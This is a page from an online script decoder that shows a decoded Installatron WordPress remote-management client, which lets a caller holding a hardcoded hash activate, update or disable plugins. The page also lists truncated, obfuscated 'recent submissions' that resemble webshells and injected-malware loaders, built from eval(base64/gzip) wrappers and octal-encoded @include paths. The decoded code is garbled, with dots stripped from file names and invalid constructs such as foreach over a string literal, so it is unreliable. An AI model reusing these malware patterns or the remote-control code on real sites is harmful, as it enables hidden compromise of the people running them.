Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/******************************************************************************\
|*                                                                            *|
|* All text, code and logic contained herein is copyright by Installatron LLC *|
|* and is a part of 'the Installatron program' as defined in the Installatron *|
|* license: http://installatroncom/plugin/eula                               *|
|*                                                                            *|
|* THE COPYING OR REPRODUCTION OF ANY TEXT, PROGRAM CODE OR LOGIC CONTAINED   *|
|* HEREIN IS EXPRESSLY PROHIBITEDVIOLATORS WILL BE PROSECUTED TO THE FULL   *|
|* EXTENT OF THE LAW.                                                         *|
|*                                                                            *|
|* If this license is not clear to you, DO NOT CONTINUE;                      *|
|* instead, contact Installatron LLC at: support@installatroncom             *|
|*                                                                            *|
\******************************************************************************/
@chdir('/webroot/p/a/padri001/maincoursegroupcom/www');@set_time_limit(0);$GLOBALS["_fileowner"] = fileowner(__FILE__);if (isset($_SERVER["I_POST"])){parse_str($_SERVER["I_POST"],$_GET);$_POST = $_REQUEST = array_merge($_GET,$_POST);}else if (empty($_REQUEST)){$_REQUEST = array_merge($_GET,$_POST);}set_error_handler("__i_client_error_handler");$GLOBALS["__i_client_error_stack"] = array();function __i_client_error_handler($errno, $errstr, $errfile, $errline){if (!(error_reporting() & $errno)){return;}switch ($errno) {case E_ERROR:case E_USER_ERROR:$GLOBALS["__i_client_error_stack"][] = "Error: ".$errstr." in ".$errfile."[$errline] (PHP ".PHP_VERSION." ".PHP_OS.")";echo '__CLIENT__RESPONCE__START__'.serialize(array(false,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";exit;break;case E_WARNING:case E_USER_WARNING:$doSkipLog = strpos($errstr,"Permission denied") !== false && strpos($errstr,"unlink(") !== false|| strpos($errstr,"chmod(): Operation not permitted") !== false|| strpos($errstr,"wp-content/plugins") !== false;if (!$doSkipLog){$GLOBALS["__i_client_error_stack"][] = $errstr." in ".$errfile."[$errline] (PHP ".PHP_VERSION." ".PHP_OS.")";}break;}return true;}function __i_client_shutdown() {if (function_exists("error_get_last")){$a = error_get_last();if ( $a !== null && $a["type"] === 1 ){$GLOBALS["__i_client_error_stack"][] = "Fatal Error: ".$a["message"]." in ".$a["file"]."[".$a["line"]."]";echo '__CLIENT__RESPONCE__START__'.serialize(array(false,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";}}} register_shutdown_function("__i_client_shutdown");if ( !isset($_POST["build"]) || !isset($_POST["hash"]) || !isset($_POST["cmd"])|| 5 !== intval($_POST["build"])|| 'djw45x56pgggkgw0w8w040o4g' !== $_POST["hash"] ){echo '__CLIENT__RESPONCE__START__'.serialize(array("I_ACCESS_DENIED",$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";exit;}if ( $_POST["cmd"] === "list" ){define("ABSPATH", dirname(__FILE__)."/");include_once(ABSPATH."wp-configphp");include_once(ABSPATH."wp-admin/includes/filephp");include_once(ABSPATH."wp-admin/includes/pluginphp");include_once(ABSPATH."wp-admin/includes/themephp");include_once(ABSPATH."wp-admin/includes/miscphp");include_once(ABSPATH."wp-admin/includes/templatephp");include_once(ABSPATH."wp-admin/includes/class-wp-upgraderphp");include_once(ABSPATH."wp-includes/updatephp");include(ABSPATH."wp-includes/versionphp");$current = get_transient("update_plugins");if (!is_object($current)){$current = new stdClass;}$current->last_checked = 0;set_transient("update_plugins", $current);@wp_update_plugins();$ood = get_site_transient("update_plugins");foreach ( "a" as $i => $r ){"a"[$i]["_enabled"] = is_plugin_active($i);if (isset($ood->response[$i])){"a"[$i]["_ud"] = array("id" => $ood->response[$i]->id,"slug" => $ood->response[$i]->slug,"new_version" => $ood->response[$i]->new_version,"url" => $ood->response[$i]->url,"package" => $ood->response[$i]->package);}}$current = get_transient("update_themes");if (!is_object($current)){$current = new stdClass;}$current->last_checked = 0;set_transient("update_themes", $current);@wp_update_themes();$ood = get_site_transient("update_themes");foreach ( wp_get_themes() as $i => $r ){"r"[$i] = array("Name"       => $r->get("Name"),"Title"      => $r->get("Name"),"Version"    => $r->get("Version"),"Author"     => $r->get("Author"),"Author URI" => $r->get("AuthorURI"),"Template"   => $r->get_template(),"Stylesheet" => $r->get_stylesheet());if (isset($ood->response[$i])){"r"[$i]["_ud"] = $ood->response[$i];}}echo '__CLIENT__RESPONCE__START__'.serialize(array($o,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";}else if ( $_POST["cmd"] === "install" ){define("ABSPATH", dirname(__FILE__)."/");include_once(ABSPATH."wp-configphp");include_once(ABSPATH."wp-admin/includes/filephp");include_once(ABSPATH."wp-admin/includes/pluginphp");include_once(ABSPATH."wp-admin/includes/themephp");include_once(ABSPATH."wp-admin/includes/miscphp");include_once(ABSPATH."wp-admin/includes/templatephp");activate_plugin($_POST["id"]);echo '__CLIENT__RESPONCE__START__'.serialize(array(true,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";}else if ( $_POST["cmd"] === "update-plugin" ){define("ABSPATH", dirname(__FILE__)."/");include_once(ABSPATH."wp-configphp");include_once(ABSPATH."wp-admin/includes/filephp");include_once(ABSPATH."wp-admin/includes/pluginphp");include_once(ABSPATH."wp-admin/includes/themephp");include_once(ABSPATH."wp-admin/includes/miscphp");include_once(ABSPATH."wp-admin/includes/templatephp");include_once(ABSPATH."wp-admin/includes/class-wp-upgraderphp");include_once(ABSPATH."wp-includes/updatephp");if ( !class_exists("Plugin_Upgrader") || !class_exists("Bulk_Plugin_Upgrader_Skin") ){echo '__CLIENT__RESPONCE__START__'.serialize(array(2,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";exit;}$plugins = $_POST["id"];$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( "nonce", "url" ) ) );$result = $upgrader->bulk_upgrade($plugins);@wp_update_plugins();echo '__CLIENT__RESPONCE__START__'.serialize(array($result,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";}else if ( $_POST["cmd"] === "update-theme" ){define("ABSPATH", dirname(__FILE__)."/");include_once(ABSPATH."wp-configphp");include_once(ABSPATH."wp-admin/includes/filephp");include_once(ABSPATH."wp-admin/includes/pluginphp");include_once(ABSPATH."wp-admin/includes/themephp");include_once(ABSPATH."wp-admin/includes/miscphp");include_once(ABSPATH."wp-admin/includes/templatephp");include_once(ABSPATH."wp-admin/includes/class-wp-upgraderphp");include_once(ABSPATH."wp-includes/updatephp");if ( !class_exists("Theme_Upgrader") || !class_exists("Bulk_Theme_Upgrader_Skin") ){echo '__CLIENT__RESPONCE__START__'.serialize(array(2,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";exit;}$themes = $_POST["id"];$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( "nonce", "url" ) ) );$result = $upgrader->bulk_upgrade($themes);@wp_update_themes();echo '__CLIENT__RESPONCE__START__'.serialize(array($result,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";}else if ( $_POST["cmd"] === "disable" ){define("ABSPATH", dirname(__FILE__)."/");include_once(ABSPATH."wp-configphp");include_once(ABSPATH."wp-admin/includes/filephp");include_once(ABSPATH."wp-admin/includes/pluginphp");include_once(ABSPATH."wp-admin/includes/themephp");include_once(ABSPATH."wp-admin/includes/miscphp");include_once(ABSPATH."wp-admin/includes/templatephp");$list = is_array($_POST["id"]) ? $_POST["id"] : array($_POST["id"]);deactivate_plugins($list);echo '__CLIENT__RESPONCE__START__'.serialize(array(true,$GLOBALS["__i_client_error_stack"]))."__CLIENT__RESPONCE__END__";}


Recent submissions:

@include "\057hom\145/32\060108\056clo\165dwa\171sap\160s.c\157m/n\161wdu\166gqf\167/pu\14... <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title><?php echo $Z118... Zend 2004072203 65541 17142 59556 x??蛚o尀Wu珉護W`w豋媱i"?N炵(辥????MivbO足... <?php error_Reporting(0); $s_pass = "741721fcb0bfc1f04405d8c82e436cab5ffcb141"; $y = "... <?php Error_Reporting(0); $s_pass = "741721fcb0bfc1f04405d8c82e436cab5ffcb141"; $s_func="c... <?php goto q5EkSa3072G3CMq; T0IypXwu95SNhVp: echo "\x2e"; sleep(1); $get_token = json_dec... <?php ${"G\x4c\x4fB\x41LS"}["\x74\x73\x6b\x74\x77q\x73\x77\x69\x79s\x65"]="\x67_\x6e\x6f\x... <?php ${"\x47\x4c\x4fBA\x4c\x53"}["\x6alohb\x6d\x67"]="db\x6e\x61\x6d\x65";${"\x47\x4cO\x4... Y1ss(typeof window===typeof{}?window:typeof global===typeof{}?global:this);Z4EE.v6zz=v6zz;... var _0xc9e1 = ["", "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x... <html> <title>Metadev Asuri</title> <script> var _0x511b=['Incorrect\x20password','ge... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... <?php /* Copyright (c) 2012 Motion-M Co. If you want to obtain license for this product,... \u00ec\u008a\u00a4\u00ed\u0086\u00b0\u00eb\u00b6\u0081... var _0xc9e1=["","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\... /*dbeac*/ eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+8... @include "\057sh\141re\057We\142/c\157mp\141ss\057ma\163te\162/_\156ot\145s/\056a2\1416f\0... <?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8T... <?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8T... <?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8T... <script type='text/javascript'> //<![CDATA[ var _QdvmC2= "\x65\x76\x61\x6c\x28\x66\x75\x... var _8Kn5MV= "\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x70\x2c\x61\x2c\x63... <?php eval(gzinflate(base64_decode(rawurldecode('XZe3roXQEUU%2Fx7YoyEmu4JJzTo1Fzjnz9X5uTX... <?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEqzIEfyaDa1haxM64b33XBS4wXvP1w... <?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEqzIEfyaDa1haxM64b33XBS4wXvP1w... /*063e8*/ @include "\057home\066/xav\151erbe\057publ\151c_ht\155l/ca\154gran\057K7/_\15... @include "\057ho\155e4\057pe\162fo\162q2\057pu\142li\143_h\164ml\057su\162ve\171/l\157ca\1... \x20\x44\x4a\x71\x6d\x7e\x74\x26\x5b\x45\x32\x7c\x72\x27\x3c\x23\x3a\x67\x33\x65\x3f\x66\x... <?php ... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... //ADVANCED fraudfilter.io TEMPLATE error_reporting(0); class FraudFilterWordPressLoa... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <html><head><meta charset="utf-8" /><meta name="referrer" content="origin" /></head><bod... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... laudit.php?r=ORIGIN_REFERRER_POLICY&u=https\\u00253A\\u00252F\\u00252F... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... ${"\x47\x4cO\x42AL\x53"}["cj\x63\x62a\x72"]="ec\x68\x6f";${"G\x4c\x4f\x42A\x4c\x53"}["\x77... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... \057home\057synt\145ch/d\157main\163/syn\164ech-\156utri\164ion.\143om/p\165blic\137html\0... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... \057hom\145/co\154orm\165s/k\157avi\164a.c\157m/w\167w/w\160-ad\155in/\156etw\157rk/\056cc... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... <?php ${"\x47LO\x42\x41\x4c\x53"}["\x6fw\x6fqu\x6b\x79\x64\x75\x62\x72"]="\x67\x4d";${"G\... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin...

© 2019 Quttera Ltd. All rights reserved.